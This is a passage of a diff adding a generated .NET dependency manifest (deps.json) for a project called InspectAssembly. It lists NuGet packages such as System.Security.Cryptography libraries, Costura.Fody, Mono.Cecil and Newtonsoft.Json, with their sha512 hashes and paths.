+ }
+ },
+ "System.Security.Cryptography.Csp/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "System.IO": "4.3.0",
+ "System.Reflection": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Runtime.Handles": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0",
+ "System.Security.Cryptography.Algorithms": "4.3.0",
+ "System.Security.Cryptography.Encoding": "4.3.0",
+ "System.Security.Cryptography.Primitives": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "System.Threading": "4.3.0"
+ }
+ },
+ "System.Security.Cryptography.Encoding/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "System.Collections": "4.3.0",
+ "System.Collections.Concurrent": "4.3.0",
+ "System.Linq": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Runtime.Handles": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0",
+ "System.Security.Cryptography.Primitives": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0"
+ }
+ },
+ "System.Security.Cryptography.OpenSsl/4.3.0": {
+ "dependencies": {
+ "System.Collections": "4.3.0",
+ "System.IO": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Runtime.Handles": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0",
+ "System.Runtime.Numerics": "4.3.0",
+ "System.Security.Cryptography.Algorithms": "4.3.0",
+ "System.Security.Cryptography.Encoding": "4.3.0",
+ "System.Security.Cryptography.Primitives": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0"
+ }
+ },
+ "System.Security.Cryptography.Primitives/4.3.0": {
+ "dependencies": {
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.Globalization": "4.3.0",
+ "System.IO": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Threading": "4.3.0",
+ "System.Threading.Tasks": "4.3.0"
+ }
+ },
+ "System.Security.Cryptography.X509Certificates/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "System.Collections": "4.3.0",
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.Globalization": "4.3.0",
+ "System.Globalization.Calendars": "4.3.0",
+ "System.IO": "4.3.0",
+ "System.IO.FileSystem": "4.3.0",
+ "System.IO.FileSystem.Primitives": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Runtime.Handles": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0",
+ "System.Runtime.Numerics": "4.3.0",
+ "System.Security.Cryptography.Algorithms": "4.3.0",
+ "System.Security.Cryptography.Cng": "4.3.0",
+ "System.Security.Cryptography.Csp": "4.3.0",
+ "System.Security.Cryptography.Encoding": "4.3.0",
+ "System.Security.Cryptography.OpenSsl": "4.3.0",
+ "System.Security.Cryptography.Primitives": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "System.Threading": "4.3.0",
+ "runtime.native.System": "4.3.0",
+ "runtime.native.System.Net.Http": "4.3.0",
+ "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0"
+ }
+ },
+ "System.Text.Encoding/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Text.Encoding.Extensions/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0",
+ "System.Text.Encoding": "4.3.0"
+ }
+ },
+ "System.Text.RegularExpressions/4.3.0": {
+ "dependencies": {
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Threading/4.3.0": {
+ "dependencies": {
+ "System.Runtime": "4.3.0",
+ "System.Threading.Tasks": "4.3.0"
+ }
+ },
+ "System.Threading.Tasks/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Threading.Tasks.Extensions/4.3.0": {
+ "dependencies": {
+ "System.Collections": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Threading.Tasks": "4.3.0"
+ }
+ },
+ "System.Threading.Timer/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Xml.ReaderWriter/4.3.0": {
+ "dependencies": {
+ "System.Collections": "4.3.0",
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.Globalization": "4.3.0",
+ "System.IO": "4.3.0",
+ "System.IO.FileSystem": "4.3.0",
+ "System.IO.FileSystem.Primitives": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "System.Text.Encoding.Extensions": "4.3.0",
+ "System.Text.RegularExpressions": "4.3.0",
+ "System.Threading.Tasks": "4.3.0",
+ "System.Threading.Tasks.Extensions": "4.3.0"
+ }
+ },
+ "System.Xml.XDocument/4.3.0": {
+ "dependencies": {
+ "System.Collections": "4.3.0",
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.Diagnostics.Tools": "4.3.0",
+ "System.Globalization": "4.3.0",
+ "System.IO": "4.3.0",
+ "System.Reflection": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "System.Threading": "4.3.0",
+ "System.Xml.ReaderWriter": "4.3.0"
+ }
+ }
+ }
+ },
+ "libraries": {
+ "InspectAssembly/1.0.0": {
+ "type": "project",
+ "serviceable": false,
+ "sha512": ""
+ },
+ "Costura.Fody/5.7.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-MmL28WOOnJEBWORXj6bfSxfWaZW8gWSXEJTdrjB9AQi4COX6RXr2xdGL9HsxpWwn6f5Io0NmNuwFJe94w1YmQA==",
+ "path": "costura.fody/5.7.0",
+ "hashPath": "costura.fody.5.7.0.nupkg.sha512"
+ },
+ "Fody/6.6.3": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-X1WKKgSNYVtLzdO8dK3YWmfmljA4L0soePcWNouq9X6WbVF4bmivuJdlhTZx/2L3ml6tMvhFe8skIbVQ24PAYA==",
+ "path": "fody/6.6.3",
+ "hashPath": "fody.6.6.3.nupkg.sha512"
+ },
+ "Microsoft.NETCore.Platforms/1.1.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-kz0PEW2lhqygehI/d6XsPCQzD7ff7gUJaVGPVETX611eadGsA3A877GdSlU0LRVMCTH/+P3o2iDTak+S08V2+A==",
+ "path": "microsoft.netcore.platforms/1.1.0",
+ "hashPath": "microsoft.netcore.platforms.1.1.0.nupkg.sha512"
+ },
+ "Microsoft.NETCore.Targets/1.1.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-aOZA3BWfz9RXjpzt0sRJJMjAscAUm3Hoa4UWAfceV9UTYxgwZ1lZt5nO2myFf+/jetYQo4uTP7zS8sJY67BBxg==",
+ "path": "microsoft.netcore.targets/1.1.0",
+ "hashPath": "microsoft.netcore.targets.1.1.0.nupkg.sha512"
+ },
+ "Microsoft.Win32.Primitives/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-9ZQKCWxH7Ijp9BfahvL2Zyf1cJIk8XYLF6Yjzr2yi0b2cOut/HQ31qf1ThHAgCc3WiZMdnWcfJCgN82/0UunxA==",
+ "path": "microsoft.win32.primitives/4.3.0",
+ "hashPath": "microsoft.win32.primitives.4.3.0.nupkg.sha512"
+ },
+ "Mono.Cecil/0.11.4": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-IC1h5g0NeJGHIUgzM1P82ld57knhP0IcQfrYITDPXlNpMYGUrsG5TxuaWTjaeqDNQMBDNZkB8L0rBnwsY6JHuQ==",
+ "path": "mono.cecil/0.11.4",
+ "hashPath": "mono.cecil.0.11.4.nupkg.sha512"
+ },
+ "NETStandard.Library/1.6.1": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-WcSp3+vP+yHNgS8EV5J7pZ9IRpeDuARBPN28by8zqff1wJQXm26PVU8L3/fYLBJVU7BtDyqNVWq2KlCVvSSR4A==",
+ "path": "netstandard.library/1.6.1",
+ "hashPath": "netstandard.library.1.6.1.nupkg.sha512"
+ },
+ "Newtonsoft.Json/13.0.1": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-ppPFpBcvxdsfUonNcvITKqLl3bqxWbDCZIzDWHzjpdAHRFfZe0Dw9HmA0+za13IdyrgJwpkDTDA9fHaxOrt20A==",
+ "path": "newtonsoft.json/13.0.1",
+ "hashPath": "newtonsoft.json.13.0.1.nupkg.sha512"
+ },
+ "runtime.debian.8-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-HdSSp5MnJSsg08KMfZThpuLPJpPwE5hBXvHwoKWosyHHfe8Mh5WKT0ylEOf6yNzX6Ngjxe4Whkafh5q7Ymac4Q==",
+ "path": "runtime.debian.8-x64.runtime.native.system.security.cryptography.openssl/4.3.0",
+ "hashPath": "runtime.debian.8-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "runtime.fedora.23-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-+yH1a49wJMy8Zt4yx5RhJrxO/DBDByAiCzNwiETI+1S4mPdCu0OY4djdciC7Vssk0l22wQaDLrXxXkp+3+7bVA==",
+ "path": "runtime.fedora.23-x64.runtime.native.system.security.cryptography.openssl/4.3.0",
+ "hashPath": "runtime.fedora.23-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "runtime.fedora.24-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-c3YNH1GQJbfIPJeCnr4avseugSqPrxwIqzthYyZDN6EuOyNOzq+y2KSUfRcXauya1sF4foESTgwM5e1A8arAKw==",
+ "path": "runtime.fedora.24-x64.runtime.native.system.security.cryptography.openssl/4.3.0",
+ "hashPath": "runtime.fedora.24-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "runtime.native.System/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-c/qWt2LieNZIj1jGnVNsE2Kl23Ya2aSTBuXMD6V7k9KWr6l16Tqdwq+hJScEpWER9753NWC8h96PaVNY5Ld7Jw==",
+ "path": "runtime.native.system/4.3.0",
+ "hashPath": "runtime.native.system.4.3.0.nupkg.sha512"
+ },
+ "runtime.native.System.IO.Compression/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-INBPonS5QPEgn7naufQFXJEp3zX6L4bwHgJ/ZH78aBTpeNfQMtf7C6VrAFhlq2xxWBveIOWyFzQjJ8XzHMhdOQ==",
+ "path": "runtime.native.system.io.compression/4.3.0",
+ "hashPath": "runtime.native.system.io.compression.4.3.0.nupkg.sha512"
+ },
+ "runtime.native.System.Net.Http/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-ZVuZJqnnegJhd2k/PtAbbIcZ3aZeITq3sj06oKfMBSfphW3HDmk/t4ObvbOk/JA/swGR0LNqMksAh/f7gpTROg==",
+ "path": "runtime.native.system.net.http/4.3.0",
+ "hashPath": "runtime.native.system.net.http.4.3.0.nupkg.sha512"
+ },
+ "runtime.native.System.Security.Cryptography.Apple/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-DloMk88juo0OuOWr56QG7MNchmafTLYWvABy36izkrLI5VledI0rq28KGs1i9wbpeT9NPQrx/wTf8U2vazqQ3Q==",
+ "path": "runtime.native.system.security.cryptography.apple/4.3.0",
+ "hashPath": "runtime.native.system.security.cryptography.apple.4.3.0.nupkg.sha512"
+ },
+ "runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-NS1U+700m4KFRHR5o4vo9DSlTmlCKu/u7dtE5sUHVIPB+xpXxYQvgBgA6wEIeCz6Yfn0Z52/72WYsToCEPJnrw==",
+ "path": "runtime.native.system.security.cryptography.openssl/4.3.0",
+ "hashPath": "runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "runtime.opensuse.13.2-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-b3pthNgxxFcD+Pc0WSEoC0+md3MyhRS6aCEeenvNE3Fdw1HyJ18ZhRFVJJzIeR/O/jpxPboB805Ho0T3Ul7w8A==",
+ "path": "runtime.opensuse.13.2-x64.runtime.native.system.security.cryptography.openssl/4.3.0",
+ "hashPath": "runtime.opensuse.13.2-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "runtime.opensuse.42.1-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-KeLz4HClKf+nFS7p/6Fi/CqyLXh81FpiGzcmuS8DGi9lUqSnZ6Es23/gv2O+1XVGfrbNmviF7CckBpavkBoIFQ==",
+ "path": "runtime.opensuse.42.1-x64.runtime.native.system.security.cryptography.openssl/4.3.0",
+ "hashPath": "runtime.opensuse.42.1-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.Apple/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-kVXCuMTrTlxq4XOOMAysuNwsXWpYeboGddNGpIgNSZmv1b6r/s/DPk0fYMB7Q5Qo4bY68o48jt4T4y5BVecbCQ==",
+ "path": "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.apple/4.3.0",
+ "hashPath": "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.apple.4.3.0.nupkg.sha512"
+ },
+ "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-X7IdhILzr4ROXd8mI1BUCQMSHSQwelUlBjF1JyTKCjXaOGn2fB4EKBxQbCK2VjO3WaWIdlXZL3W6TiIVnrhX4g==",
+ "path": "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.openssl/4.3.0",
+ "hashPath": "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "runtime.rhel.7-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-nyFNiCk/r+VOiIqreLix8yN+q3Wga9+SE8BCgkf+2BwEKiNx6DyvFjCgkfV743/grxv8jHJ8gUK4XEQw7yzRYg==",
+ "path": "runtime.rhel.7-x64.runtime.native.system.security.cryptography.openssl/4.3.0",
+ "hashPath": "runtime.rhel.7-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "runtime.ubuntu.14.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-ytoewC6wGorL7KoCAvRfsgoJPJbNq+64k2SqW6JcOAebWsFUvCCYgfzQMrnpvPiEl4OrblUlhF2ji+Q1+SVLrQ==",
+ "path": "runtime.ubuntu.14.04-x64.runtime.native.system.security.cryptography.openssl/4.3.0",
+ "hashPath": "runtime.ubuntu.14.04-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "runtime.ubuntu.16.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-I8bKw2I8k58Wx7fMKQJn2R8lamboCAiHfHeV/pS65ScKWMMI0+wJkLYlEKvgW1D/XvSl/221clBoR2q9QNNM7A==",
+ "path": "runtime.ubuntu.16.04-x64.runtime.native.system.security.cryptography.openssl/4.3.0",
+ "hashPath": "runtime.ubuntu.16.04-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "runtime.ubuntu.16.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-VB5cn/7OzUfzdnC8tqAIMQciVLiq2epm2NrAm1E9OjNRyG4lVhfR61SMcLizejzQP8R8Uf/0l5qOIbUEi+RdEg==",
+ "path": "runtime.ubuntu.16.10-x64.runtime.native.system.security.cryptography.openssl/4.3.0",
+ "hashPath": "runtime.ubuntu.16.10-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "System.AppContext/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-fKC+rmaLfeIzUhagxY17Q9siv/sPrjjKcfNg1Ic8IlQkZLipo8ljcaZQu4VtI4Jqbzjc2VTjzGLF6WmsRXAEgA==",
+ "path": "system.appcontext/4.3.0",
+ "hashPath": "system.appcontext.4.3.0.nupkg.sha512"
+ },
+ "System.Buffers/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-ratu44uTIHgeBeI0dE8DWvmXVBSo4u7ozRZZHOMmK/JPpYyo0dAfgSiHlpiObMQ5lEtEyIXA40sKRYg5J6A8uQ==",
+ "path": "system.buffers/4.3.0",
+ "hashPath": "system.buffers.4.3.0.nupkg.sha512"
+ },
+ "System.Collections/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-3Dcj85/TBdVpL5Zr+gEEBUuFe2icOnLalmEh9hfck1PTYbbyWuZgh4fmm2ysCLTrqLQw6t3TgTyJ+VLp+Qb+Lw==",
+ "path": "system.collections/4.3.0",
+ "hashPath": "system.collections.4.3.0.nupkg.sha512"
+ },
+ "System.Collections.Concurrent/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-ztl69Xp0Y/UXCL+3v3tEU+lIy+bvjKNUmopn1wep/a291pVPK7dxBd6T7WnlQqRog+d1a/hSsgRsmFnIBKTPLQ==",
+ "path": "system.collections.concurrent/4.3.0",
+ "hashPath": "system.collections.concurrent.4.3.0.nupkg.sha512"
+ },
+ "System.Console/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-DHDrIxiqk1h03m6khKWV2X8p/uvN79rgSqpilL6uzpmSfxfU5ng8VcPtW4qsDsQDHiTv6IPV9TmD5M/vElPNLg==",
+ "path": "system.console/4.3.0",
+ "hashPath": "system.console.4.3.0.nupkg.sha512"
+ },
+ "System.Diagnostics.Debug/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-ZUhUOdqmaG5Jk3Xdb8xi5kIyQYAA4PnTNlHx1mu9ZY3qv4ELIdKbnL/akbGaKi2RnNUWaZsAs31rvzFdewTj2g==",
+ "path": "system.diagnostics.debug/4.3.0",
+ "hashPath": "system.diagnostics.debug.4.3.0.nupkg.sha512"
+ },
+ "System.Diagnostics.DiagnosticSource/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-tD6kosZnTAGdrEa0tZSuFyunMbt/5KYDnHdndJYGqZoNy00XVXyACd5d6KnE1YgYv3ne2CjtAfNXo/fwEhnKUA==",
+ "path": "system.diagnostics.diagnosticsource/4.3.0",
+ "hashPath": "system.diagnostics.diagnosticsource.4.3.0.nupkg.sha512"
+ },
+ "System.Diagnostics.Tools/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-UUvkJfSYJMM6x527dJg2VyWPSRqIVB0Z7dbjHst1zmwTXz5CcXSYJFWRpuigfbO1Lf7yfZiIaEUesfnl/g5EyA==",
+ "path": "system.diagnostics.tools/4.3.0",
+ "hashPath": "system.diagnostics.tools.4.3.0.nupkg.sha512"
+ },
+ "System.Diagnostics.Tracing/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-rswfv0f/Cqkh78rA5S8eN8Neocz234+emGCtTF3lxPY96F+mmmUen6tbn0glN6PMvlKQb9bPAY5e9u7fgPTkKw==",
+ "path": "system.diagnostics.tracing/4.3.0",
+ "hashPath": "system.diagnostics.tracing.4.3.0.nupkg.sha512"
+ },
+ "System.Globalization/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-kYdVd2f2PAdFGblzFswE4hkNANJBKRmsfa2X5LG2AcWE1c7/4t0pYae1L8vfZ5xvE2nK/R9JprtToA61OSHWIg==",
+ "path": "system.globalization/4.3.0",
+ "hashPath": "system.globalization.4.3.0.nupkg.sha512"
+ },
+ "System.Globalization.Calendars/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-GUlBtdOWT4LTV3I+9/PJW+56AnnChTaOqqTLFtdmype/L500M2LIyXgmtd9X2P2VOkmJd5c67H5SaC2QcL1bFA==",
+ "path": "system.globalization.calendars/4.3.0",
+ "hashPath": "system.globalization.calendars.4.3.0.nupkg.sha512"
+ },
+ "System.Globalization.Extensions/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-FhKmdR6MPG+pxow6wGtNAWdZh7noIOpdD5TwQ3CprzgIE1bBBoim0vbR1+AWsWjQmU7zXHgQo4TWSP6lCeiWcQ==",
+ "path": "system.globalization.extensions/4.3.0",
+ "hashPath": "system.globalization.extensions.4.3.0.nupkg.sha512"
+ },
+ "System.IO/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-3qjaHvxQPDpSOYICjUoTsmoq5u6QJAFRUITgeT/4gqkF1bajbSmb1kwSxEA8AHlofqgcKJcM8udgieRNhaJ5Cg==",
+ "path": "system.io/4.3.0",
+ "hashPath": "system.io.4.3.0.nupkg.sha512"
+ },
+ "System.IO.Compression/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-YHndyoiV90iu4iKG115ibkhrG+S3jBm8Ap9OwoUAzO5oPDAWcr0SFwQFm0HjM8WkEZWo0zvLTyLmbvTkW1bXgg==",
+ "path": "system.io.compression/4.3.0",
+ "hashPath": "system.io.compression.4.3.0.nupkg.sha512"
+ },
+ "System.IO.Compression.ZipFile/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-G4HwjEsgIwy3JFBduZ9quBkAu+eUwjIdJleuNSgmUojbH6O3mlvEIme+GHx/cLlTAPcrnnL7GqvB9pTlWRfhOg==",
+ "path": "system.io.compression.zipfile/4.3.0",
+ "hashPath": "system.io.compression.zipfile.4.3.0.nupkg.sha512"
+ },
+ "System.IO.FileSystem/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-3wEMARTnuio+ulnvi+hkRNROYwa1kylvYahhcLk4HSoVdl+xxTFVeVlYOfLwrDPImGls0mDqbMhrza8qnWPTdA==",
+ "path": "system.io.filesystem/4.3.0",
+ "hashPath": "system.io.filesystem.4.3.0.nupkg.sha512"
+ },
+ "System.IO.FileSystem.Primitives/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-6QOb2XFLch7bEc4lIcJH49nJN2HV+OC3fHDgsLVsBVBk3Y4hFAnOBGzJ2lUu7CyDDFo9IBWkSsnbkT6IBwwiMw==",
+ "path": "system.io.filesystem.primitives/4.3.0",
+ "hashPath": "system.io.filesystem.primitives.4.3.0.nupkg.sha512"
+ },
+ "System.Linq/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-5DbqIUpsDp0dFftytzuMmc0oeMdQwjcP/EWxsksIz/w1TcFRkZ3yKKz0PqiYFMmEwPSWw+qNVqD7PJ889JzHbw==",
+ "path": "system.linq/4.3.0",
+ "hashPath": "system.linq.4.3.0.nupkg.sha512"
+ },
+ "System.Linq.Expressions/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-PGKkrd2khG4CnlyJwxwwaWWiSiWFNBGlgXvJpeO0xCXrZ89ODrQ6tjEWS/kOqZ8GwEOUATtKtzp1eRgmYNfclg==",
+ "path": "system.linq.expressions/4.3.0",
+ "hashPath": "system.linq.expressions.4.3.0.nupkg.sha512"
+ },
+ "System.Net.Http/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-sYg+FtILtRQuYWSIAuNOELwVuVsxVyJGWQyOnlAzhV4xvhyFnON1bAzYYC+jjRW8JREM45R0R5Dgi8MTC5sEwA==",
+ "path": "system.net.http/4.3.0",
+ "hashPath": "system.net.http.4.3.0.nupkg.sha512"
+ },
+ "System.Net.Primitives/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-qOu+hDwFwoZPbzPvwut2qATe3ygjeQBDQj91xlsaqGFQUI5i4ZnZb8yyQuLGpDGivEPIt8EJkd1BVzVoP31FXA==",
+ "path": "system.net.primitives/4.3.0",
+ "hashPath": "system.net.primitives.4.3.0.nupkg.sha512"
+ },
+ "System.Net.Sockets/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-m6icV6TqQOAdgt5N/9I5KNpjom/5NFtkmGseEH+AK/hny8XrytLH3+b5M8zL/Ycg3fhIocFpUMyl/wpFnVRvdw==",
+ "path": "system.net.sockets/4.3.0",
+ "hashPath": "system.net.sockets.4.3.0.nupkg.sha512"
+ },
+ "System.ObjectModel/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-bdX+80eKv9bN6K4N+d77OankKHGn6CH711a6fcOpMQu2Fckp/Ft4L/kW9WznHpyR0NRAvJutzOMHNNlBGvxQzQ==",
+ "path": "system.objectmodel/4.3.0",
+ "hashPath": "system.objectmodel.4.3.0.nupkg.sha512"
+ },
+ "System.Reflection/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-KMiAFoW7MfJGa9nDFNcfu+FpEdiHpWgTcS2HdMpDvt9saK3y/G4GwprPyzqjFH9NTaGPQeWNHU+iDlDILj96aQ==",
+ "path": "system.reflection/4.3.0",
+ "hashPath": "system.reflection.4.3.0.nupkg.sha512"
+ },
+ "System.Reflection.Emit/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-228FG0jLcIwTVJyz8CLFKueVqQK36ANazUManGaJHkO0icjiIypKW7YLWLIWahyIkdh5M7mV2dJepllLyA1SKg==",
+ "path": "system.reflection.emit/4.3.0",
+ "hashPath": "system.reflection.emit.4.3.0.nupkg.sha512"
+ },
+ "System.Reflection.Emit.ILGeneration/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-59tBslAk9733NXLrUJrwNZEzbMAcu8k344OYo+wfSVygcgZ9lgBdGIzH/nrg3LYhXceynyvTc8t5/GD4Ri0/ng==",
+ "path": "system.reflection.emit.ilgeneration/4.3.0",
+ "hashPath": "system.reflection.emit.ilgeneration.4.3.0.nupkg.sha512"
+ },
+ "System.Reflection.Emit.Lightweight/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-oadVHGSMsTmZsAF864QYN1t1QzZjIcuKU3l2S9cZOwDdDueNTrqq1yRj7koFfIGEnKpt6NjpL3rOzRhs4ryOgA==",
+ "path": "system.reflection.emit.lightweight/4.3.0",
+ "hashPath": "system.reflection.emit.lightweight.4.3.0.nupkg.sha512"
+ },
+ "System.Reflection.Extensions/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-rJkrJD3kBI5B712aRu4DpSIiHRtr6QlfZSQsb0hYHrDCZORXCFjQfoipo2LaMUHoT9i1B7j7MnfaEKWDFmFQNQ==",
+ "path": "system.reflection.extensions/4.3.0",
+ "hashPath": "system.reflection.extensions.4.3.0.nupkg.sha512"
+ },
+ "System.Reflection.Primitives/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-5RXItQz5As4xN2/YUDxdpsEkMhvw3e6aNveFXUn4Hl/udNTCNhnKp8lT9fnc3MhvGKh1baak5CovpuQUXHAlIA==",
+ "path": "system.reflection.primitives/4.3.0",
+ "hashPath": "system.reflection.primitives.4.3.0.nupkg.sha512"
+ },
+ "System.Reflection.TypeExtensions/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-7u6ulLcZbyxB5Gq0nMkQttcdBTx57ibzw+4IOXEfR+sXYQoHvjW5LTLyNr8O22UIMrqYbchJQJnos4eooYzYJA==",
+ "path": "system.reflection.typeextensions/4.3.0",
+ "hashPath": "system.reflection.typeextensions.4.3.0.nupkg.sha512"
+ },
+ "System.Resources.ResourceManager/4.3.0": {
+ "type": "package",
+ "serviceable": true,
